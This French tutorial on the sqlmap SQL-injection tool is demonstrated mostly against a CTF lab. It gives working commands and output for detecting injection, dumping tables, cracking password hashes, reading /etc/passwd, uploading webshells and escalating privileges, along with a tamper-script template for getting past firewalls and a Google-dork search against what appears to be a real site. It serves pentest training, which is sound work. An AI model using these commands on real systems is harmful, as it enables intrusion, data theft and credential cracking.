Sqlmap est un outil open source permettant d'identifier et d'exploiter une injection SQL sur des applications web. Outre la simple exploitation d'une injection SQL, il fournit également des fonctionnalités permettant la prise de contrôle de l'équipement hébergeant la base de données. Il est devenu aujourd'hui indispensable dans la trousse à outils de tout pentester. Cet article a pour objet de vous présenter les dernières fonctionnalités de l'outil, ainsi que son utilisation dans des cas pratiques.
1. Présentation
Sauf mention contraire, les exemples fournis par l'auteur ont été réalisés sur l'application web CTF6 de LampSecurity [LAMP-SEC].
1.1 Fonctionnalités
La première version de sqlmap a été développée en Python par Daniele Bellucci et est apparue en 2006. Cette première version ne fournissait un support que sur les bases de données MySQL et PostgreSQL. La même année, Bernardo Damele A.G reprend le projet. Il est toujours actuellement le développeur principal du projet.
La dernière version de sqlmap supporte les bases de données suivantes :
- MySQL ;
- Oracle ;
- PostgreSQL ;
- Microsoft SQL Server ;
- Microsoft Access ;
- SQLite ;
- Firebird ;
- Sybase ;
- SAP MaxDB.
Les principales fonctionnalités de sqlmap sont les suivantes :
Cinq techniques d'injection SQL sont implémentées : boolean-based blind, time-based blind, error-based, Union query et stacked queries.
- Possibilité de se connecter directement au service de bases de données, sous réserve que le service soit accessible, sans utiliser une injection SQL.
- Énumération et récupération de l'ensemble des données présentes en base.
- Reconnaissance de certains algorithmes de hachage (MD5, SHA1, etc.) et possibilité de lancer une attaque par dictionnaire. Cette fonctionnalité est utilisée principalement pour les mots de passe stockés en base.
- Possibilité d'exécuter des commandes sur le système hébergeant la base de données. Fonctionnalité uniquement utilisable sur les bases de données MySQL, Microsoft SQL Server et PostreSQL.
- Possibilité d'établir un tunnel de communication entre l'attaquant et la base de données. Ce tunnel de communication peut être un shell, une session Meterpreter ou une session VNC.
- Enfin, il est possible d'élever ses privilèges sur le système, sous réserve de pouvoir exécuter des commandes sur le système, via la technique kitrap0d (MS10-015).
1.2 Utilisation
Afin d'identifier ou d'exploiter une injection SQL, différentes possibilités sont offertes par sqlmap :
- soit à partir d'une URL ;
- soit à partir d'un Google Dork.
Il est également possible d'utiliser sqlmap sans exploiter d'injection SQL afin de récupérer les informations présentes en base de données. L'utilisation de cette fonctionnalité nécessite d'avoir accès au service de base de données, ainsi que d'avoir des identifiants de connexion valides.
1.2.1 Via une URL
Il s'agit du mode le plus couramment utilisé. Soit l'URL est fournie directement en ligne de commandes, soit dans un fichier de configuration ou à partir de traces obtenues via WebScarab ou BurpSuite.
En ligne de commandes, il suffit de fournir l'URL complète (avec les paramètres) de la manière suivante :
$ ./sqlmap.py -u http://192.168.98.134/index.php?id=4
Si aucun paramètre vulnérable n'est indiqué (via l'option -p), sqlmap va tenter d'exploiter tous les paramètres présents dans l'URL.
Il est également possible d'utiliser un fichier de configuration pour spécifier les informations d'exploitation (URL, paramètre vulnérable, données utilisées en POST, cookie de session, etc.). Un modèle est fourni dans les sources de sqlmap et se nomme sqlmap.conf. L'utilisation d'un fichier de configuration s'effectue de la manière suivante :
$ ./sqlmap.py -c sqlmap.conf
Enfin, sqlmap est en mesure de lire les logs des proxies BurpSuite et WebScarab. Il suffit de lui indiquer le fichier de logs à utiliser de la manière suivante :
$ ./sqlmap.py -l webscarab-ctf6.log
Il est à noter qu'un plugin a été développé permettant une intégration de sqlmap dans BurpSuite. Concrètement, il permet à partir de BurpSuite de sélectionner une URL et d'exécuter sqlmap sur celle-ci afin de déterminer si une injection SQL est présente. Ce plugin est disponible sur Google code [GASON] et une présentation de celui-ci est faite sur le blog de l'auteur [BUGUROO].
1.2.2 Via un Google Dork
Sqlmap est capable d'effectuer des recherches Google afin de récupérer des URL potentiellement vulnérables. La recherche va se limiter uniquement aux 100 premiers résultats par défaut, ainsi que sur les requêtes HTTP GET.
Voici un exemple d'utilisation avec une requête Google ciblée :
$ ./sqlmap.py -g "site:www.ed-diamond.com inurl:produit.php"
[...]
[*] starting at 10:15:23
[10:15:23] [INFO] first request to Google to get the session cookie
[10:15:23] [INFO] using Google result page #1
[10:15:30] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:15:30] [INFO] sqlmap got 100 results for your Google dork expression, all of them are testable targets
[10:15:31] [INFO] sqlmap got a total of 100 targets
url 1:
GET http://www.ed-diamond.com/produit.php?ref=lmag59
do you want to test this url? [Y/n/q]
>
Pour chaque URL identifiée par sqlmap, une confirmation sera demandée avant d'effectuer des tests plus poussés.
1.2.3 Via une connexion directe à la base de données
Comme évoqué précédemment, si le service de base de données est accessible (ce qui est assez rare depuis Internet), il est possible avec sqlmap d'effectuer une connexion directe sur la base de données. Pour le moment, cette fonctionnalité est compatible avec les bases de données MySQL et Access. La syntaxe est la suivante :
- pour MySQL : mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME ;
- pour Access : access://.
Le plugin PyMySQL doit être installé afin d'établir la connexion auprès d'une base de données MySQL.
Voici un exemple d'utilisation retournant la bannière de la base de données :
$ ./sqlmap.py -d mysql://cms_user:45kkald?8laLKD@192.168.98.134:3306/cms -b
[...]
[*] starting at 10:18:10
[10:18:10] [INFO] using '/root/sqlmap-dev/output/192.168.98.134/session' as session file
[10:18:10] [INFO] connection to mysql server 192.168.98.134:3306 established
[10:18:10] [INFO] testing MySQL
[10:18:10] [INFO] resumed: [[u'1']]...
[10:18:10] [INFO] confirming MySQL
[10:18:10] [INFO] resumed: [[u'1']]...
[10:18:10] [INFO] resumed: [[u'1']]...
[10:18:10] [INFO] the back-end DBMS is MySQL
[10:18:10] [INFO] fetching banner
back-end DBMS: MySQL >= 5.0.0
banner: '5.0.45'
2. Détection
Sqlmap implémente différentes techniques afin d'identifier la présence d'une injection SQL :
- Boolean-based blind ;
- Error-based ;
- UNION query ;
- Stacked queries ;
- Time-based blind.
Par défaut, toutes ces techniques sont utilisées par sqlmap afin d'identifier la présence d'une injection SQL.
Il est possible de spécifier la ou les technique(s) à utiliser de la manière suivante :
$ ./sqlmap.py -u http://192.168.98.134/index.php?id=4 --technique BEUST
2.1 Boolean-based blind
Comme son nom l'indique, cette technique ajoute une condition booléenne au paramètre afin de déterminer si le résultat de la page varie. Il s'agit d'injecter une condition booléenne du type suivant : AND 1=1.
Afin d'affiner le résultat, il est possible de spécifier une chaîne de caractères ou une expression régulière devant être présente sur la page de retour lorsque la requête SQL est valide.
Pour une chaîne de caractères :
$ ./sqlmap.py -u http://192.168.98.134/index.php?id=4 --technique B --string Posted
Pour une expression régulière :
$ ./sqlmap.py -u http://192.168.98.134/index.php?id=4 --technique B –regexp "Prix: [0-9]+ euro\."
2.2 Error-based
Cette technique consiste principalement à former une requête SQL invalide afin qu'un message d'erreur SQL soit retourné. La présence d'un message d'erreur indique qu'il est possible d'injecter du code SQL. Cette technique est fonctionnelle uniquement si les messages d'erreur sont affichés à l'utilisateur.
De manière générale, cette technique permet uniquement de détecter la possibilité d'injecter du code SQL et ne permet pas d'extraire d'informations présentes en base. Néanmoins, Microsoft SQL Server possède une particularité qui permet en générant une erreur de récupérer le résultat d'une requête.
Par exemple, s'il l'on compare la valeur de l'attribut @@version à une valeur numérique (@@version = 1), alors une erreur est retournée par la base de données car le type de @@version, qui est une chaîne de caractères, est différent d'une valeur numérique. Le message d'erreur affiché nous retourne la valeur de l'attribut @@version, comme dans l'image suivante :
2.3. UNION query
Cette technique consiste à concaténer la requête exécutée par l'application web par une requête injectée par l'outil via une opération d'union. Cette opération permet de concaténer les résultats des deux requêtes, et ainsi obtenir le résultat de notre requête injecté dans la page. La seule difficulté de cette technique est de déterminer le nombre de colonnes devant être présentes dans notre requête car le langage SQL impose qu'une union ne peut être effectuée qu'entre deux résultats ayant le même schéma (même nombre de colonnes). Voici un exemple d'injection SQL utilisant cette technique :
Sqlmap permet de définir le nombre maximal de colonnes à tester de la façon suivante :
$ ./sqlmap.py -u http://192.168.98.134/index.php?id=4 --union-cols 100
2.4. Stacked queries
Cette technique consiste à faire exécuter par la base de données plusieurs requêtes SQL. Ces requêtes sont séparées par un point-virgule et sont exécutées séquentiellement. La complexité de cette technique est de déterminer si la requête injectée a bien été exécutée. En fonction des bases de données utilisées, des opérations coûteuses en temps sont exécutées, comme dans l'exemple suivant :
Il est à noter que depuis la version 5 de MySQL, il est possible d'exécuter des stacked queries [MULTIPLE-QUERIES].
2.5. Time-based blind
De manière similaire à la technique précédente, il s'agit d'augmenter la durée d'exécution de la requête SQL de l'application web en ajoutant du code SQL effectuant des opérations coûteuses en temps, comme dans l'exemple suivant :
3. Exploitation
Comme évoqué précédemment, lors de l'utilisation de sqlmap sans aucune option particulière, l'outil va tout d'abord déterminer la possibilité d'injecter du code SQL dans l'un des paramètres de la requête HTTP fournie. Voici, à titre d'exemple, le résultat obtenu sur l'application CTF6 :
$ ./sqlmap.py -u http://192.168.98.134/index.php?id=4
[…]
[18:39:47] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=4 AND 2903=2903
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: id=4 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a776c6c3a,0x4861706c4875506c6c61,0x3a7664673a), NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=4 AND SLEEP(5)
---
[18:39:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5
web application technology: PHP 5.2.6, Apache 2.2.3
back-end DBMS: MySQL 5.0.11
[18:39:48] [INFO] fetched data logged to text files under '/root/sqlmap-dev/output/192.168.98.134'
Dans cet exemple, nous constatons que 3 techniques ont permis d'identifier la présence d'une injection SQL sur le paramètre id.
Maintenant que nous savons qu'une injection SQL est présente, nous souhaitons pouvoir extraire les informations présentes en base. Les sections suivantes présentent les différentes possibilités de le faire.
3.1. Tamper Scripts
Avant de démarrer la présentation des différentes possibilités d'extraction d'informations, il est important de mentionner l'existence des Tamper Scripts. Il s'agit de programmes en Python qui peuvent être exécutés durant l'injection de code SQL par sqlmap. Ces programmes ont pour but de modifier la requête SQL envoyée par l'outil.
Concrètement, ces Tamper Scripts sont majoritairement utilisés afin de contourner des pare-feu applicatifs ou des protections mises en place par les développeurs.
Par exemple, il arrive souvent qu'une application supprime tous les espaces présents dans un paramètre avant de le fournir à la base de données. Il ne s'agit pas réellement d'une véritable protection, mais cela contraint à remplacer tous les espaces par des caractères qui ne seront pas interprétés par la base de données. L'astuce la plus simple à mettre en œuvre est de remplacer les espaces par des commentaires. Sqlmap intègre plusieurs Tamper Scripts permettant de faire cette manipulation sans avoir à toucher au code source de sqlmap. Voici un exemple d'utilisation du Tamper Script space2comment.py, permettant de remplacer les espaces par des commentaires, sur notre application vulnérable :
$ ./sqlmap.py -u http://192.168.98.134/index.php?id=4 --tamper tamper/space2comment.py
La forme minimaliste d'un Tamper Script est la suivante :
from lib.core.enums import PRIORITY
# Il est nécessaire de définir la priorité du tamper script par rapport à la requête sql envoyée
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description du tamper script
'''
retVal = payload
# Insérer ici votre code modifiant la requête SQL devant être envoyée par sqlmap
# La valeur de retour contenant la requête SQL a envoyée
return retVal
L'ensemble des Tamper Scripts fournis par sqlmap sont présents dans le répertoire tamper.
3.2. Énumération
Sqlmap fournit par défaut de nombreuses options permettant de récupérer les informations présentes en base.
Nous avons, tout d'abord, les informations de base comme :
- la version de la base de données (--banner) ;
- le nom de l'utilisateur courant (--current-user) ;
- le nom de la base de données courante (--current-db) ;
- si l'utilisateur de la base de données est administrateur (--is-dba).
À titre d'exemple, voici le résultat obtenu sur l'application web CTF6 :
$ ./sqlmap.py -u http://192.168.98.134/index.php?id=4 --banner --current-user --current-db --is-dba
[...]
[*] starting at 19:08:18
[19:08:19] [INFO] testing connection to the target url
[19:08:20] [INFO] the back-end DBMS is MySQL
[19:08:20] [INFO] fetching banner
web server operating system: Linux CentOS 5
web application technology: PHP 5.2.6, Apache 2.2.3
back-end DBMS: MySQL 5.0.11
banner: '5.0.45'
[19:08:20] [INFO] fetching current user
current user: 'cms_user@%'
[19:08:20] [INFO] fetching current database
current database: 'cms'
[19:08:21] [INFO] testing if current user is DBA
[19:08:21] [INFO] fetching current user
current user is DBA: None
Il est également possible de lister les tables (--tables) et les colonnes (--columns) présentes dans la base de données, ainsi que de récupérer leur contenu (--dump). Ces options ne sont fonctionnelles qu'avec des bases de données possédant des méta-données de la base. Par exemple, les versions de MySQL antérieures à la version 5 ne possèdent pas de méta-données. Dans ce cas, sqlmap est en mesure d'effectuer un bruteforce sur les tables (--common-tables) et les colonnes (--common-columns) les plus courantes. Les listes des tables et des colonnes utilisées par sqlmap lors du bruteforce sont présentes dans le répertoire txt (common-tables.txt et common-columns.txt).
Il est important de souligner que lorsque l'on demande à sqlmap de récupérer le contenu d'une table, par exemple, l'outil tente de déterminer s'il ne possède pas déjà les résultats de la demande. Si c'est le cas, ce sont les résultats précédemment sauvegardés qui nous seront retournés. Afin d'obtenir les résultats à jour provenant de la base de données, il est nécessaire de spécifier l'option --fresh-queries.
Voici un exemple permettant de lister les tables présentes dans la base de données et en excluant les tables systèmes (présentes par défaut dans la base de données) :
$ ./sqlmap.py -u http://192.168.98.134/index.php?id=4 --tables --exclude-sys
Un autre exemple permettant d'extraire les données présentes dans la table event de la base de données cms :
$ ./sqlmap.py -u http://192.168.98.134/index.php?id=4 --dump -T event -D cms
3.3. Cassage de mots de passe
Sqlmap est en mesure d'identifier certains algorithmes de hachage couramment utilisés par les bases de données du marché, notamment :
- les fonctions de hachage utilisées par MySQL, PostgreSQL, Microsoft SQL Server et Oracle afin de stocker les mots de passe de la base de données ;
- la fonction MD5 ;
- la fonction SHA-1.
Lorsque sqlmap identifie l'utilisation de l'une de ces fonctions, l'outil est en mesure d'effectuer une attaque par dictionnaire (soit avec son dictionnaire intégré ou un dictionnaire pouvant être défini par l'utilisateur) afin de retrouver la valeur du condensat.
À titre d'exemple, voici le résultat obtenu sur le contenu de la table user de la base de données cms de l'application CTF6 :
$ ./sqlmap.py -u http://192.168.98.134/index.php?id=4 –dump -T user -D cms
[*] starting at 18:13:33
[18:13:33] [INFO] using '/root/sqlmap-dev/output/192.168.98.134/session' as session file
[18:13:33] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[18:13:33] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
[...]
---
[18:13:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5
web application technology: PHP 5.2.6, Apache 2.2.3
back-end DBMS: MySQL 5.0.11
[18:13:33] [INFO] fetching columns for table 'user' in database 'cms'
[18:13:34] [INFO] fetching entries for table 'user' in database 'cms'
[18:13:34] [INFO] analyzing table dump for possible password hashes
recognized possible password hashes in column 'user_password'. Do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[18:13:35] [INFO] using hash method 'md5_generic_passwd'
[18:13:35] [INFO] resuming password 'adminpass' for hash '25e4ee4e9229397b6b17776bfceaf8e7'
[18:13:35] [INFO] resuming password 'gilles' for hash 'e543fdb4737f66b96e764d7303a15ae8'
[18:13:35] [INFO] postprocessing table dump
Database: cms
Table: user
[2 entries]
+---------+---------------+----------------------------------------------+
| user_id | user_username | user_password |
+---------+---------------+----------------------------------------------+
| 1 | admin | 25e4ee4e9229397b6b17776bfceaf8e7 (adminpass) |
| 2 | gilles | e543fdb4737f66b96e764d7303a15ae8 (gilles) |
+---------+---------------+----------------------------------------------+
3.4. Exécution de requêtes SQL
Sqlmap permet également l'exécution de requêtes SQL personnalisées. Cette option permet de combler les options d'énumération fournies par défaut par sqlmap. Il est à noter que les requêtes de type INSERT / UPDATE / CREATE ne pourront être utilisées que si la base de données supporte les stacked queries. Ce qui concerne, de manière générale, Microsoft SQL Server et PostgreSQL.
L'exemple suivant permet d'exécuter une requête SQL spécifique sur la base de données :
$ ./sqlmap.py -u http://192.168.98.134/index.php?id=4 --sql-query "select @@datadir"
Tandis que cet exemple permet d'avoir un shell SQL interactif :
$ ./sqlmap.py -u http://192.168.98.134/index.php?id=4 --sql-shell
4. Intrusion
De manière générale, l'exploitation d'une injection SQL est utilisée afin d'extraire les informations présentes dans la base de données, comme évoqué dans la section précédente. Néanmoins, en fonction de la base de données utilisée et des droits accordés à l'utilisateur de la base, il est possible d'accéder au système hébergeant la base de données, voire de prendre le contrôle complet de l'équipement. Sqlmap fournit différentes fonctionnalités permettant la prise de contrôle du système.
4.1. Accès au système de fichiers
Sqlmap fournit des fonctionnalités permettant de lire ou d'écrire sur le système de fichiers. Bien évidemment, cela sera conditionné en fonction des droits de l'utilisateur de la base de données.
Afin de lire un fichier présent sur le système de fichiers, il suffit d'indiquer le fichier à lire, comme dans l'exemple suivant :
./sqlmap.py -u http://192.168.98.134/index.php?id=4 --file-read "/etc/passwd"
Tandis que pour créer un fichier, il sera nécessaire d'indiquer le fichier local à utiliser, ainsi que le répertoire de destination :
./sqlmap.py -u http://192.168.98.134/index.php?id=4 --file-write test.txt --file-dest /var/lib/mysql/
4.2. Accès au système d'exploitation
Outre la possibilité de lire et d'écrire sur le système de fichiers, sqlmap fournit la possibilité d'exécuter des commandes systèmes sur l'équipement via les options : --os-cmd, --os-shell et --os-pwn. Pour cela, deux techniques sont utilisées :
- soit via l'envoi d'un webshell sur le système ;
- soit via l'envoi d'un payload Metasploit : un shell standard, un shell meterpreter ou une session VNC.
L'utilisation de l'une de ces deux techniques dépend de la base de données utilisée et, plus particulièrement, du support des stacked queries.
Si les stacked queries sont supportées, sqlmap proposera de déposer un payload Metasploit sur le système. Bien évidemment, l'utilisation d'un payload Metasploit nécessite d'avoir celui-ci installé sur la machine de l'attaquant. Il sera également nécessaire d'indiquer le chemin d'installation de Metasploit (msf-path) si celui-ci n'est pas présent dans le PATH.
Dans le cas contraire, un webshell sera envoyé sur le serveur. Sqlmap fournit des webshells de base pour les principaux langages de programmation web (PHP, ASP et JSP), qui sont présents dans le répertoire shell.
Il est également à noter que sur les systèmes Windows, sqlmap permet de lire les clés de la base de registre via les options --reg-*.
Enfin, également sur les systèmes Windows, sqlmap implémente la technique nommée kitrap0d permettant que l'utilisateur de la base de données obtienne les droits SYSTEM sur l'équipement. Cette élévation de privilèges ne peut aboutir que si l'on est en mesure de déposer un shellmeterpreter sur le système.
Conclusion
Comme nous venons de le voir, sqlmap fournit des fonctionnalités puissantes allant de la récupération d'informations jusqu'à la prise de contrôle complète de l'équipement à partir d'une injection SQL. Néanmoins, l'un des points faibles de sqlmap est son moteur de détection d'injections SQL. Certaines injections triviales ne sont pas identifiées par l'outil. Par exemple, lorsqu'un message d'erreur est présent directement dans la première ligne de l'en-tête de la page HTML retournée ou quand le nombre de cookies de session diffère lors d'une injection boolean-based.
J'espère que cet article vous aura permis de vous familiariser avec sqlmap et, plus particulièrement, sur ses fonctionnalités majeures.
Remerciements
Je tiens à remercier les relecteurs, ainsi que ma femme :)
Références
[LAMP-SEC] http://sourceforge.net/projects/lampsecurity/files/CaptureTheFlag/ctf6/
[PYMYSQL] http://code.google.com/p/pymysql
[GASON] http://code.google.com/p/gason/downloads/list
[BURGOO] http://blog.buguroo.com/?p=2471&lang=en
[MULTIPLE-QUERIES] http://dev.mysql.com/doc/refman/5.0/en/c-api-multiple-queries.html